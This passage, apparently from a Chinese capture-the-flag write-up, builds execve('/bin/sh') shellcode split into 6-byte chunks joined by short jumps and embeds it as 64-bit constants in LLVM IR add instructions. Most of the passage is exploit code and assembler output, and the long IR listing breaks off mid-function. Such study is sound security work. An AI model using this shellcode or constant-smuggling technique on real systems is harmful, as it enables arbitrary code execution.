      段内近转移,16位位移量占两个字节,加上jmp指令一个字节,整条指令占3个字节 如:jmp near ptr opr

    • 段间跳转

      指令长度为5个字节 如:jmp dword ptr table[bx][di]jmp far ptr oprjmp dword ptr opr

  6. inc指令 占用一个字节

  7. push指令 占用一个字节

  8. segment声明 占用两个字节 如codesg segment

  9. int 21h 占用两个字节

我们可以通过8字节中的6字节执行shellcode,然后再用两字节实现一个段内短跳转将shellcode的执行连接起来。我们先来写shellcode

shellcodes = [
    "mov eax, 0x68732f",
    "shl rax, 0x20",
    "add rax, 0x6e69622f",
    "push rax",
    "mov rdi, rsp",
    "push 0",
    "pop rsi",
    "push 0",
    "pop rdx",
    "push 59",
    "pop rax",
    "syscall"
]
for i in shellcodes:
	print(f"{i} {asm(i)} {len(asm(i))}")
'''
mov eax, 0x68732f b'\xb8/sh\x00' 5
shl rax, 0x20 b'H\xc1\xe0 ' 4
add rax, 0x6e69622f b'H\x05/bin' 6
push rax b'P' 1
mov rdi, rsp b'H\x89\xe7' 3
push 0 b'j\x00' 2
pop rsi b'^' 1
push 0 b'j\x00' 2
pop rdx b'Z' 1
push 59 b'j;' 2
pop rax b'X' 1
syscall b'\x0f\x05' 2
'''
# 结合刚才的分析,我们把shellcode拼接,然后再用nop补齐一下6字节
shellcodes = [
    "nop;mov eax, 0x68732f;",
    "nop;nop;shl rax, 0x20;",
    "add rax, 0x6e69622f",
    "nop;nop;push rax;mov rdi, rsp",
    "push 0;pop rsi;push 0;pop rdx",
    "nop;push 59;pop rax;syscall;"
]
for i in shellcodes:
	print(f"{i} {asm(i)} {len(asm(i))}")
'''
nop;mov eax, 0x68732f; b'\x90\xb8/sh\x00' 6
nop;nop;shl rax, 0x20; b'\x90\x90H\xc1\xe0 ' 6
add rax, 0x6e69622f b'H\x05/bin' 6
nop;nop;push rax;mov rdi, rsp b'\x90\x90PH\x89\xe7' 6
push 0;pop rsi;push 0;pop rdx b'j\x00^j\x00Z' 6
nop;push 59;pop rax;syscall; b'\x90j;X\x0f\x05' 6
'''

shellcodes = [asm(i)+b"\xeb\x05" for i in shellcodes]
# 加载的过程用了栈,所以这里需要逆序一下
for i in shellcodes[::-1]:
    print(u64(i))

我们浅试一下:

//test.ll
define dso_local i64 @foo(i64 %0) local_unnamed_addr #0 {
  %2 = add nsw i64 %0, 426440153179581072
  %3 = add nsw i64 %2, 426533547547689066
  %4 = add nsw i64 %3, 426689166526419088
  %5 = add nsw i64 %4, 426555988614513992
  %6 = add nsw i64 %5, 426470739404165264
  %7 = add nsw i64 %6, 426435038325749904
  ret i64 %7
}

image-20220829001447638

发现确实可以,那我们就疯狂的构造一下,这里没啥,,,就是多调试:

define dso_local i64 @foo(i64 %0) local_unnamed_addr #0 {
%2 = add nsw i64 %0, 0
%3 = add nsw i64 %2, 11523463022132629648
%4 = add nsw i64 %2, 2
%5 = add nsw i64 %3, 3
%6 = add nsw i64 %4, 4
%7 = add nsw i64 %5, 5
%8 = add nsw i64 %6, 6
%9 = add nsw i64 %7, 7
%10 = add nsw i64 %8, 8
%11 = add nsw i64 %9, 9
%12 = add nsw i64 %10, 10
%13 = add nsw i64 %11, 11
%14 = add nsw i64 %12, 12
%15 = add nsw i64 %13, 13
%16 = add nsw i64 %14, 14
%17 = add nsw i64 %15, 15
%18 = add nsw i64 %16, 16
%19 = add nsw i64 %17, 17
%20 = add nsw i64 %18, 18
%21 = add nsw i64 %19, 19
%22 = add nsw i64 %20, 20
%23 = add nsw i64 %21, 21
%24 = add nsw i64 %22, 22
%25 = add nsw i64 %23, 23
%26 = add nsw i64 %24, 24
%27 = add nsw i64 %25, 25
%28 = add nsw i64 %26, 26
%29 = add nsw i64 %27, 27
%30 = add nsw i64 %28, 28
%31 = add nsw i64 %29, 29
%32 = add nsw i64 %30, 30
%33 = add nsw i64 %31, 31
%34 = add nsw i64 %32, 32
%35 = add nsw i64 %33, 33
%36 = add nsw i64 %34, 34
%37 = add nsw i64 %35, 35
%38 = add nsw i64 %36, 36
%39 = add nsw i64 %37, 37
%40 = add nsw i64 %38, 38
%41 = add nsw i64 %39, 39
%42 = add nsw i64 %40, 40
%43 = add nsw i64 %41, 41
%44 = add nsw i64 %42, 42
%45 = add nsw i64 %43, 43
%46 = add nsw i64 %44, 44
%47 = add nsw i64 %45, 45
%48 = add nsw i64 %46, 46
%49 = add nsw i64 %47, 47
%50 = add nsw i64 %48, 48
%51 = add nsw i64 %49, 49
%52 = add nsw i64 %50, 50
%53 = add nsw i64 %51, 51
%54 = add nsw i64 %52, 52
%55 = add nsw i64 %53, 53
%56 = add nsw i64 %54, 54
%57 = add nsw i64 %55, 55
%58 = add nsw i64 %56, 56
%59 = add nsw i64 %57, 57
%60 = add nsw i64 %58, 58
%61 = add nsw i64 %59, 59
%62 = add nsw i64 %60, 60
%63 = add nsw i64 %61, 61
%64 = add nsw i64 %62, 62
%65 = add nsw i64 %63, 63
%66 = add nsw i64 %64, 64
%67 = add nsw i64 %65, 65
%68 = add nsw i64 %66, 66
%69 = add nsw i64 %67, 67
%70 = add nsw i64 %68, 68
%71 = add nsw i64 %69, 69
%72 = add nsw i64 %70, 70
%73 = add nsw i64 %71, 71
%74 = add nsw i64 %72, 72
%75 = add nsw i64 %73, 73
%76 = add nsw i64 %74, 74
%77 = add nsw i64 %75, 75
%78 = add nsw i64 %76, 76
%79 = add nsw i64 %77, 77
%80 = add nsw i64 %78, 78
%81 = add nsw i64 %79, 79
%82 = add nsw i64 %80, 80
%83 = add nsw i64 %81, 81
%84 = add nsw i64 %82, 82
%85 = add nsw i64 %83, 83
%86 = add nsw i64 %84, 84
%87 = add nsw i64 %85, 85
%88 = add nsw i64 %86, 86
%89 = add nsw i64 %87, 87
%90 = add nsw i64 %88, 88
%91 = add nsw i64 %89, 89
%92 = add nsw i64 %90, 90
%93 = add nsw i64 %91, 91
%94 = add nsw i64 %92, 92
%95 = add nsw i64 %93, 93
%96 = add nsw i64 %94, 94
%97 = add nsw i64 %95, 95
%98 = add nsw i64 %96, 96
%99 = add nsw i64 %97, 97
%100 = add nsw i64 %98, 98
%101 = add nsw i64 %99, 99
%102 = add nsw i64 %100, 100
%103 = add nsw i64 %101, 101
%104 = add nsw i64 %102, 102
%105 = add nsw i64 %103, 103
%106 = add nsw i64 %104, 104
%107 = add nsw i64 %105, 105
%108 = add nsw i64 %106, 106
%109 = add nsw i64 %107, 107
%110 = add nsw i64 %108, 108
%111 = add nsw i64 %109, 109
%112 = add nsw i64 %110, 110
%113 = add nsw i64 %111, 111
%114 = add nsw i64 %112, 112
%115 = add nsw i64 %113, 113
%116 = add nsw i64 %114, 114
%117 = add nsw i64 %115, 115
%118 = add nsw i64 %116, 116
%119 = add nsw i64 %117, 117
%120 = add nsw i64 %118, 118
%121 = add nsw i64 %119, 119
%122 = add nsw i64 %120, 120
%123 = add nsw i64 %121, 121
%124 = add nsw i64 %122, 122
%125 = add nsw i64 %123, 123
%126 = add nsw i64 %124, 124
%127 = add nsw i64 %125, 125
%128 = add nsw i64 %126, 126
%129 = add nsw i64 %127, 127
%130 = add nsw i64 %128, 128
%131 = add nsw i64 %129, 129
%132 = add nsw i64 %130, 130
%133 = add nsw i64 %131, 131
%134 = add nsw i64 %132, 132
%135 = add nsw i64 %133, 133
%136 = add nsw i64 %134, 134
%137 = add nsw i64 %135, 135
%138 = add nsw i64 %136, 136
%139 = add nsw i64 %137, 137
%140 = add nsw i64 %138, 138
%141 = add nsw i64 %139, 139
%142 = add nsw i64 %140, 140
%143 = add nsw i64 %141, 141
%144 = add nsw i64 %142, 142
%145 = add nsw i64 %143, 143
%146 = add nsw i64 %144, 144
%147 = add nsw i64 %145, 145
%148 = add nsw i64 %146, 146
%149 = add nsw i64 %147, 147
%150 = add nsw i64 %148, 148
%151 = add nsw i64 %149, 149
%152 = add nsw i64 %150, 150
%153 = add nsw i64 %151, 151
%154 = add nsw i64 %152, 152
%155 = add nsw i64 %153, 153
%156 = add nsw i64 %154, 154
%157 = add nsw i64 %155, 155
%158 = add nsw i64 %156, 156
%159 = add nsw i64 %157, 157
%160 = add nsw i64 %158, 158
%161 = add nsw i64 %159, 159
%162 = add nsw i64 %160, 160
%163 = add nsw i64 %161, 161
%164 = add nsw i64 %162, 162
%165 = add nsw i64 %163, 163
%166 = add nsw i64 %164, 164
%167 = add nsw i64 %165, 165
%168 = add nsw i64 %166, 166
%169 = add nsw i64 %167, 167
%170 = add nsw i64 %168, 168
%171 = add nsw i64 %169, 169
%172 = add nsw i64 %170, 170
%173 = add nsw i64 %171, 171
%174 = add nsw i64 %172, 172
%175 = add nsw i64 %173, 173
%176 = add nsw i64 %174, 174
%177 = add nsw i64 %175, 175
%178 = add nsw i64 %176, 176
%179 = add nsw i64 %177, 177
%180 = add nsw i64 %178, 178
%181 = add nsw i64 %179, 179
%182 = add nsw i64 %180, 180
%183 = add nsw i64 %181, 181
%184 = add nsw i64 %182, 182
%185 = add nsw i64 %183, 183
%186 = add nsw i64 %184, 184
%187 = add nsw i64 %185, 185
%188 = add nsw i64 %186, 186
%189 = add nsw i64 %187, 187
%190 = add nsw i64 %188, 188
%191 = add nsw i64 %189, 189
%192 = add nsw i64 %190, 190
%193 = add nsw i64 %191, 191
%194 = add nsw i64 %192, 192
%195 = add nsw i64 %193, 193
%196 = add nsw i64 %194, 194
%197 = add nsw i64 %195, 195
%198 = add nsw i64 %196, 196
%199 = add nsw i64 %197, 197
%200 = add nsw i64 %198, 198
%201 = add nsw i64 %199, 199
%202 = add nsw i64 %200, 200
%203 = add nsw i64 %201, 201
%204 = add nsw i64 %202, 202
%205 = add nsw i64 %203, 203
%206 = add nsw i64 %204, 204
%207 = add nsw i64 %205, 205
%208 = add nsw i64 %206, 206
%209 = add nsw i64 %207, 207
%210 = add nsw i64 %208, 208
%211 = add nsw i64 %209, 209
%212 = add nsw i64 %210, 210
%213 = add nsw i64 %211, 211
%214 = add nsw i64 %212, 212
%215 = add nsw i64 %213, 213
%216 = add nsw i64 %214, 214
%217 = add nsw i64 %215, 215
%218 = add nsw i64 %216, 216
%219 = add nsw i64 %217, 217
%220 = add nsw i64 %218, 218
%221 = add nsw i64 %219, 219
%222 = add nsw i64 %220, 220
%223 = add nsw i64 %221, 221
%224 = add nsw i64 %222, 222
%225 = add nsw i64 %223, 223
%226 = add nsw i64 %224, 224
%227 = add nsw i64 %225, 225
%228 = add nsw i64 %226, 226
%229 = add nsw i64 %227, 227
%230 = add nsw i64 %228, 228
%231 = add nsw i64 %229, 229
%232 = add nsw i64 %230, 230
%233 = add nsw i64 %231, 231
%234 = add nsw i64 %232, 232
%235 = add nsw i64 %233, 233
%236 = add nsw i64 %234, 234
%237 = add nsw i64 %235, 235
%238 = add nsw i64 %236, 236
%239 = add nsw i64 %237, 237
%240 = add nsw i64 %238, 238
%241 = add nsw i64 %239, 239
%242 = add nsw i64 %240, 240
%243 = add nsw i64 %241, 241
%244 = add nsw i64 %242, 242
%245 = add nsw i64 %243, 243
%246 = add nsw i64 %244, 244
%247 = add nsw i64 %245, 245
%248 = add nsw i64 %246, 246
%249 = add nsw i64 %247, 247
%250 = add nsw i64 %248, 248
%251 = add nsw i64 %249, 249
%252 = add nsw i64 %250, 250
%253 = add nsw i64 %251, 251
%254 = add nsw i64 %252, 252
%255 = add nsw i64 %253, 253
%256 = add nsw i64 %254, 254
%257 = add nsw i64 %255, 255
%258 = add nsw i64 %256, 256
%259 = add nsw i64 %257, 257
%260 = add nsw i64 %258, 258
%261 = add nsw i64 %259, 259
%262 = add nsw i64 %260, 260
%263 = add nsw i64 %261, 261
%264 = add nsw i64 %262, 262
%265 = add nsw i64 %263, 263
%266 = add nsw i64 %264, 264
%267 = add nsw i64 %265, 265
%268 = add nsw i64 %266, 266
%269 = add nsw i64 %267, 267
%270 = add nsw i64 %268, 268
%271 = add nsw i64 %269, 269
%272 = add nsw i64 %270, 270
%273 = add nsw i64 %271, 271
%274 = add nsw i64 %272, 272
%275 = add nsw i64 %273, 273
%276 = add nsw i64 %274, 274
%277 = add nsw i64 %275, 275
%278 = add nsw i64 %276, 276
%279 = add nsw i64 %277, 277
%280 = add nsw i64 %278, 278
%281 = add nsw i64 %279, 279
%282 = add nsw i64 %280, 280
%283 = add nsw i64 %281, 281
%284 = add nsw i64 %282, 282
%285 = add nsw i64 %283, 283
%286 = add nsw i64 %284, 284
%287 = add nsw i64 %285, 285
%288 = add nsw i64 %286, 286
%289 = add nsw i64 %287, 287
%290 = add nsw i64 %288, 288
%291 = add nsw i64 %289, 289
%292 = add nsw i64 %290, 290
%293 = add nsw i64 %291, 291
%294 = add nsw i64 %292, 292
%295 = add nsw i64 %293, 293
%296 = add nsw i64 %294, 294
%297 = add nsw i64 %295, 295
%298 = add nsw i64 %296, 296
%299 = add nsw i64 %297, 297
%300 = add nsw i64 %298, 298
%301 = add nsw i64 %299, 299
%302 = add nsw i64 %300, 300
%303 = add nsw i64 %301, 301
%304 = add nsw i64 %302, 302
%305 = add nsw i64 %303, 303
%306 = add nsw i64 %304, 304
%307 = add nsw i64 %305, 305
%308 = add nsw i64 %306, 306
%309 = add nsw i64 %307, 307
%310 = add nsw i64 %308, 308
%311 = add nsw i64 %309, 309
%312 = add nsw i64 %310, 310
%313 = add nsw i64 %311, 311
%314 = add nsw i64 %312, 312
%315 = add nsw i64 %313, 313
%316 = add nsw i64 %314, 314
%317 = add nsw i64 %315, 315
%318 = add nsw i64 %316, 316
%319 = add nsw i64 %317, 317
%320 = add nsw i64 %318, 318
%321 = add nsw i64 %319, 319
%322 = add nsw i64 %320, 320
%323 = add nsw i64 %321, 321
%324 = add nsw i64 %322, 322
%325 = add nsw i64 %323, 323
%326 = add nsw i64 %324, 324
%327 = add nsw i64 %325, 325
%328 = add nsw i64 %326, 326
%329 = add nsw i64 %327, 327
%330 = add nsw i64 %328, 328
%331 = add nsw i64 %329, 329
%332 = add nsw i64 %330, 330
%333 = add nsw i64 %331, 331
%334 = add nsw i64 %332, 332
%335 = add nsw i64 %333, 333
%336 = add nsw i64 %334, 334
%337 = add nsw i64 %335, 335
%338 = add nsw i64 %336, 336
%339 = add nsw i64 %337, 337
%340 = add nsw i64 %338, 338
%341 = add nsw i64 %339, 339
%342 = add nsw i64 %340, 340
%343 = add nsw i64 %341, 341
%344 = add nsw i64 %342, 342
%345 = add nsw i64 %343, 343
%346 = add nsw i64 %344, 344
%347 = add nsw i64 %345, 345
%348 = add nsw i64 %346, 346
%349 = add nsw i64 %347, 347
%350 = add nsw i64 %348, 348
%351 = add nsw i64 %349, 349
%352 = add nsw i64 %350, 350
%353 = add nsw i64 %351, 351
%354 = add nsw i64 %352, 352
%355 = add nsw i64 %353, 353
%356 = add nsw i64 %354, 354
%357 = add nsw i64 %355, 355
%358 = add nsw i64 %356, 356
%359 = add nsw i64 %357, 357
%360 = add nsw i64 %358, 358
%361 = add nsw i64 %359, 359
%362 = add nsw i64 %360, 360
%363 = add nsw i64 %361, 361
%364 = add nsw i64 %362, 362
%365 = add nsw i64 %363, 363
%366 = add nsw i64 %364, 364
%367 = add nsw i64 %365, 365
%368 = add nsw i64 %366, 366
%369 = add nsw i64 %367, 367
%370 = add nsw i64 %368, 368
%371 = add nsw i64 %369, 369
%372 = add nsw i64 %370, 370
%373 = add nsw i64 %371, 371
%374 = add nsw i64 %372, 372
%375 = add nsw i64 %373, 373
%376 = add nsw i64 %374, 374
%377 = add nsw i64 %375, 375
%378 = add nsw i64 %376, 376
%379 = add nsw i64 %377, 377
%380 = add nsw i64 %378, 378
%381 = add nsw i64 %379, 379
%382 = add nsw i64 %380, 380
%383 = add nsw i64 %381, 381
%384 = add nsw i64 %382, 382
%385 = add nsw i64 %383, 383
%386 = add nsw i64 %384, 384
%387 = add nsw i64 %385, 385
%388 = add nsw i64 %386, 386
%389 = add nsw i64 %387, 387
%390 = add nsw i64 %388, 388
%391 = add nsw i64 %389, 389
%392 = add nsw i64 %390, 390
%393 = add nsw i64 %391, 391
%394 = add nsw i64 %392, 392
%395 = add nsw i64 %393, 393
%396 = add nsw i64 %394, 394
%397 = add nsw i64 %395, 395
%398 = add nsw i64 %396, 396
%399 = add nsw i64 %397, 397
%400 = add nsw i64 %398, 398
%401 = add nsw i64 %399, 399
%402 = add nsw i64 %400, 400
%403 = add nsw i64 %401, 401
%404 = add nsw i64 %402, 402
%405 = add nsw i64 %403, 403
%406 = add nsw i64 %404, 404
%407 = add nsw i64 %405, 405
%408 = add nsw i64 %406, 406
%409 = add nsw i64 %407, 407
%410 = add nsw i64 %408, 408
%411 = add nsw i64 %409, 409
%412 = add nsw i64 %410, 410
%413 = add nsw i64 %411, 411
%414 = add nsw i64 %412, 412
%415 = add nsw i64 %413, 413
%416 = add nsw i64 %414, 414
%417 = add nsw i64 %415, 415
%418 = add nsw i64 %416, 416
%419 = add nsw i64 %417, 417
%420 = add nsw i64 %418, 418
%421 = add nsw i64 %419, 419
%422 = add nsw i64 %420, 420
%423 = add nsw i64 %421, 421
%424 = add nsw i64 %422, 422
%425 = add nsw i64 %423, 423
%426 = add nsw i64 %424, 424
%427 = add nsw i64 %425, 425
%428 = add nsw i64 %426, 426
%429 = add nsw i64 %427, 427
%430 = add nsw i64 %428, 428
%431 = add nsw i64 %429, 429
%432 = add nsw i64 %430, 430
%433 = add nsw i64 %431, 431
%434 = add nsw i64 %432, 432
%435 = add nsw i64 %433, 433
%436 = add nsw i64 %434, 434
%437 = add nsw i64 %435, 435
%438 = add nsw i64 %436, 436
%439 = add nsw i64 %437, 437
%440 = add nsw i64 %438, 438
%441 = add nsw i64 %439, 439
%442 = add nsw i64 %440, 440
%443 = add nsw i64 %441, 441
%444 = add nsw i64 %442, 442
%445 = add nsw i64 %443, 443
%446 = add nsw i64 %444, 444
%447 = add nsw i64 %445, 445
%448 = add nsw i64 %446, 446
%449 = add nsw i64 %447, 447
%450 = add nsw i64 %448, 448
%451 = add nsw i64 %449, 449
%452 = add nsw i64 %450, 450
%453 = add nsw i64 %451, 451
%454 = add nsw i64 %452, 452
%455 = add nsw i64 %453, 453
%456 = add nsw i64 %454, 454
%457 = add nsw i64 %455, 455
%458 = add nsw i64 %456, 456
%459 = add nsw i64 %457, 457
%460 = add nsw i64 %458, 458
%461 = add nsw i64 %459, 459
%462 = add nsw i64 %460, 460
%463 = add nsw i64 %461, 461
%464 = add nsw i64 %462, 462
%465 = add nsw i64 %463, 463
%466 = add nsw i64 %464, 464
%467 = add nsw i64 %465, 465
%468 = add nsw i64 %466, 466
%469 = add nsw i64 %467, 467
%470 = add nsw i64 %468, 468
%471 = add nsw i64 %469, 469
%472 = add nsw i64 %470, 470
%473 = add nsw i64 %471, 471
%474 = add nsw i64 %472, 472
%475 = add nsw i64 %473, 473
%476 = add nsw i64 %474, 474
%477 = add nsw i64 %475, 475
%478 = add nsw i64 %476, 476
%479 = add nsw i64 %477, 477
%480 = add nsw i64 %478, 478
%481 = add nsw i64 %479, 479
%482 = add nsw i64 %480, 480
%483 = add nsw i64 %481, 481
%484 = add nsw i64 %482, 482
%485 = add nsw i64 %483, 483
%486 = add nsw i64 %484, 484
%487 = add nsw i64 %485, 485
%488 = add nsw i64 %486, 486
%489 = add nsw i64 %487, 487
%490 = add nsw i64 %488, 488
%491 = add nsw i64 %489, 489
%492 = add nsw i64 %490, 490
%493 = add nsw i64 %491, 491
%494 = add nsw i64 %492, 492
%495 = add nsw i64 %493, 493
%496 = add nsw i64 %494, 494
%497 = add nsw i64 %495, 495
%498 = add nsw i64 %496, 496
%499 = add nsw i64 %497, 497
%500 = add nsw i64 %498, 498
%501 = add nsw i64 %499, 499
%502 = add nsw i64 %500, 500
%503 = add nsw i64 %501, 501
%504 = add nsw i64 %502, 502
%505 = add nsw i64 %503, 503
%506 = add nsw i64 %504, 504
%507 = add nsw i64 %505, 505
%508 = add nsw i64 %506, 506
%509 = add nsw i64 %507, 507
%510 = add nsw i64 %508, 508
%511 = add nsw i64 %509, 509
%512 = add nsw i64 %510, 510
%513 = add nsw i64 %511, 511
%514 = add nsw i64 %512, 512
%515 = add nsw i64 %513, 513
%516 = add nsw i64 %514, 514
%517 = add nsw i64 %515, 515
%518 = add nsw i64 %516, 516
%519 = add nsw i64 %517, 517
%520 = add nsw i64 %518, 518
%521 = add nsw i64 %519, 519
%522 = add nsw i64 %520, 520
%523 = add nsw i64 %521, 521
%524 = add nsw i64 %522, 522
%525 = add nsw i64 %523, 523
%526 = add nsw i64 %524, 524
%527 = add nsw i64 %525, 525
%528 = add nsw i64 %526, 526
%529 = add nsw i64 %527, 527
%530 = add nsw i64 %528, 528
%531 = add nsw i64 %529, 529
%532 = add nsw i64 %530, 530
%533 = add nsw i64 %531, 531
%534 = add nsw i64 %532, 532
%535 = add nsw i64 %533, 533
%536 = add nsw i64 %534, 534
%537 = add nsw i64 %535, 535
%538 = add nsw i64 %536, 536
%539 = add nsw i64 %537, 537
%540 = add nsw i64 %538, 538
%541 = add nsw i64 %539, 539
%542 = add nsw i64 %540, 540
%543 = add nsw i64 %541, 541
%544 = add nsw i64 %542, 542
%545 = add nsw i64 %543, 543
%546 = add nsw i64 %544, 544
%547 = add nsw i64 %545, 545
%548 = add nsw i64 %546, 546
%549 = add nsw i64 %547, 547
%550 = add nsw i64 %548, 548
%551 = add nsw i64 %549, 549
%552 = add nsw i64 %550, 550
%553 = add nsw i64 %551, 551
%554 = add nsw i64 %552, 552
%555 = add nsw i64 %553, 553
%556 = add nsw i64 %554, 554
%557 = add nsw i64 %555, 555
%558 = add nsw i64 %556, 556
%559 = add nsw i64 %557, 557
%560 = add nsw i64 %558, 558
%561 = add nsw i64 %559, 559
%562 = add nsw i64 %560, 560
%563 = add nsw i64 %561, 561
%564 = add nsw i64 %562, 562
%565 = add nsw i64 %563, 563
%566 = add nsw i64 %564, 564
%567 = add nsw i64 %565, 565
%568 = add nsw i64 %566, 566
%569 = add nsw i64 %567, 567
%570 = add nsw i64 %568, 568
%571 = add nsw i64 %569, 569
%572 = add nsw i64 %570, 570
%573 = add nsw i64 %571, 571
%574 = add nsw i64 %572, 572
%575 = add nsw i64 %573, 573
%576 = add nsw i64 %574, 574
%577 = add nsw i64 %575, 575
%578 = add nsw i64 %576, 576
%579 = add nsw i64 %577, 577
%580 = add nsw i64 %578, 578
%581 = add nsw i64 %579, 579
%582 = add nsw i64 %580, 580
%583 = add nsw i64 %581, 581
%584 = add nsw i64 %582, 582
%585 = add nsw i64 %583, 583
%586 = add nsw i64 %584, 584
%587 = add nsw i64 %585, 585
%588 = add nsw i64 %586, 586
%589 = add nsw i64 %587, 587
%590 = add nsw i64 %588, 588
%591 = add nsw i64 %589, 589
%592 = add nsw i64 %590, 590
%593 = add nsw i64 %591, 591
%594 = add nsw i64 %592, 592
%595 = add nsw i64 %593, 593
%596 = add nsw i64 %594, 594
%597 = add nsw i64 %595, 595
%598 = add nsw i64 %596, 596
%599 = add nsw i64 %597, 597
%600 = add nsw i64 %598, 598
%601 = add nsw i64 %599, 599
%602 = add nsw i64 %600, 600
%603 = add nsw i64 %601, 601
%604 = add nsw i64 %602, 602
%605 = add nsw i64 %603, 603
%606 = add nsw i64 %604, 604
%607 = add nsw i64 %605, 605
%608 = add nsw i64 %606, 606
%609 = add nsw i64 %607, 607
%610 = add nsw i64 %608, 608
%611 = add nsw i64 %609, 609
%612 = add nsw i64 %610, 610
%613 = add nsw i64 %611, 611
%614 = add nsw i64 %612, 612
%615 = add nsw i64 %613, 613
%616 = add nsw i64 %614, 614
%617 = add nsw i64 %615, 615
%618 = add nsw i64 %616, 616
%619 = add nsw i64 %617, 617
%620 = add nsw i64 %618, 618
%621 = add nsw i64 %619, 1
%622 = add nsw i64 %620, 620
%623 = add nsw i64 %621, 1
%624 = add nsw i64 %622, 622
%625 = add nsw i64 %623, 1
%626 = add nsw i64 %624, 624
%627 = add nsw i64 %625, 1
%628 = add nsw i64 %626, 626
%629 = add nsw i64 %627, 627
%630 = add nsw i64 %628, 628
%631 = add nsw i64 %629, 629
%632 = add nsw i64 %630, 630
%633 = add nsw i64 %631, 631
%634 = add nsw i64 %632, 632
%635 = add nsw i64 %633, 633
ret i64 %635
}
define dso_local i64 @fuck(i64 %0) local_unnamed_addr #0 {
%2 = add nsw i64 %0, 0
%3 = add nsw i64 %2, 426440153179581072
%4 = add nsw i64 %2, 2
%5 = add nsw i64 %3, 426533547547689066
%6 = add nsw i64 %4, 4
%7 = add nsw i64 %5, 426689166526419088
%8 = add nsw i64 %6, 6
%9 = add nsw i64 %7, 426555988614513992
%10 = add nsw i64 %8, 8
%11 = add nsw i64 %9, 426470739404165264
%12 = add nsw i64 %10, 10
%13 = add nsw i64 %11, 426435038325749904
%14 = add nsw i64 %12, 12
%15 = add nsw i64 %13, 13
%16 = add nsw i64 %14, 14
%17 = add nsw i64 %15, 15
%18 = add nsw i64 %16, 16
%19 = add nsw i64 %17, 17
%20 = add nsw i64 %18, 18
%21 = add nsw i64 %19, 19
%22 = add nsw i64 %20, 20
%23 = add nsw i64 %21, 21
%24 = add nsw i64 %22, 22
%25 = add nsw i64 %23, 23
%26 = add nsw i64 %24, 24
%27 = add nsw i64 %25, 25
%28 = add nsw i64 %26, 26
%29 = add nsw i64 %27, 27
%30 = add nsw i64 %28, 28
%31 = add nsw i64 %29, 29
%32 = add nsw i64 %30, 30
%33 = add nsw i64 %31, 31
%34 = add nsw i64 %32, 32
%35 = add nsw i64 %33, 33
%36 = add nsw i64 %34, 34
%37 = add nsw i64 %35, 35
%38 = add nsw i64 %36, 36
%39 = add nsw i64 %37, 37
%40 = add nsw i64 %38, 38
%41 = add nsw i64 %39, 39
%42 = add nsw i64 %40, 40
%43 = add nsw i64 %41, 41
%44 = add nsw i64 %42, 42
%45 = add nsw i64 %43, 43
%46 = add nsw i64 %44, 44
%47 = add nsw i64 %45, 45
%48 = add nsw i64 %46, 46
%49 = add nsw i64 %47, 47
%50 = add nsw i64 %48, 48
%51 = add nsw i64 %49, 49
%52 = add nsw i64 %50, 50
%53 = add nsw i64 %51, 51
%54 = add nsw i64 %52, 52
%55 = add nsw i64 %53, 53
%56 = add nsw i64 %54, 54
%57 = add nsw i64 %55, 55
%58 = add nsw i64 %56, 56
%59 = add nsw i64 %57, 57
%60 = add nsw i64 %58, 58
%61 = add nsw i64 %59, 59
%62 = add nsw i64 %60, 60
%63 = add nsw i64 %61, 61
%64 = add nsw i64 %62, 62
%65 = add nsw i64 %63, 63
%66 = add nsw i64 %64, 64
%67 = add nsw i64 %65, 65
%68 = add nsw i64 %66, 66
%69 = add nsw i64 %67, 67
%70 = add nsw i64 %68, 68
%71 = add nsw i64 %69, 69
%72 = add nsw i64 %70, 70
%73 = add nsw i64 %71, 71
%74 = add nsw i64 %72, 72
%75 = add nsw i64 %73, 73
%76 = add nsw i64 %74, 74
%77 = add nsw i64 %75, 75
%78 = add nsw i64 %76, 76
%79 = add nsw i64 %77, 77
%80 = add nsw i64 %78, 78
%81 = add nsw i64 %79, 79
%82 = add nsw i64 %80, 80
%83 = add nsw i64 %81, 81
%84 = add nsw i64 %82, 82
%85 = add nsw i64 %83, 83
%86 = add nsw i64 %84, 84
%87 = add nsw i64 %85, 85
%88 = add nsw i64 %86, 86
%89 = add nsw i64 %87, 87
%90 = add nsw i64 %88, 88
%91 = add nsw i64 %89, 89
%92 = add nsw i64 %90, 90
%93 = add nsw i64 %91, 91
%94 = add nsw i64 %92, 92
%95 = add nsw i64 %93, 93
%96 = add nsw i64 %94, 94
%97 = add nsw i64 %95, 95
%98 = add nsw i64 %96, 96
%99 = add nsw i64 %97, 97
%100 = add nsw i64 %98, 98
%101 = add nsw i64 %99, 99
%102 = add nsw i64 %100, 100
%103 = add nsw i64 %101, 101
%104 = add nsw i64 %102, 102
%105 = add nsw i64 %103, 103
%106 = add nsw i64 %104, 104
%107 = add nsw i64 %105, 105
%108 = add nsw i64 %106, 106
%109 = add nsw i64 %107, 107
%110 = add nsw i64 %108, 108
%111 = add nsw i64 %109, 109
%112 = add nsw i64 %110, 110
%113 = add nsw i64 %111, 111
%114 = add nsw i64 %112, 112
%115 = add nsw i64 %113, 113
%116 = add nsw i64 %114, 114
%117 = add nsw i64 %115, 115
%118 = add nsw i64 %116, 116
%119 = add nsw i64 %117, 117
%120 = add nsw i64 %118, 118
%121 = add nsw i64 %119, 119
%122 = add nsw i64 %120, 120
%123 = add nsw i64 %121, 121
%124 = add nsw i64 %122, 122
%125 = add nsw i64 %123, 123
%126 = add nsw i64 %124, 124
%127 = add nsw i64 %125, 125
%128 = add nsw i64 %126, 126
%129 = add nsw i64 %127, 127
%130 = add nsw i64 %128, 128
%131 = add nsw i64 %129, 129
%132 = add nsw i64 %130, 130
%133 = add nsw i64 %131, 131
%134 = add nsw i64 %132, 132
%135 = add nsw i64 %133, 133
%136 = add nsw i64 %134, 134
%137 = add nsw i64 %135, 135
%138 = add nsw i64 %136, 136
%139 = add nsw i64 %137, 137
%140 = add nsw i64 %138, 138
%141 = add nsw i64 %139, 139
%142 = add nsw i64 %140, 140
%143 = add nsw i64 %141, 141
%144 = add nsw i64 %142, 142
%145 = add nsw i64 %143, 143
%146 = add nsw i64 %144, 144
%147 = add nsw i64 %145, 145
%148 = add nsw i64 %146, 146
%149 = add nsw i64 %147, 147
%150 = add nsw i64 %148, 148
%151 = add nsw i64 %149, 149
%152 = add nsw i64 %150, 150
%153 = add nsw i64 %151, 151
%154 = add nsw i64 %152, 152
%155 = add nsw i64 %153, 153
%156 = add nsw i64 %154, 154
%157 = add nsw i64 %155, 155
%158 = add nsw i64 %156, 156
%159 = add nsw i64 %157, 157
%160 = add nsw i64 %158, 158
%161 = add nsw i64 %159, 159
%162 = add nsw i64 %160, 160
%163 = add nsw i64 %161, 161
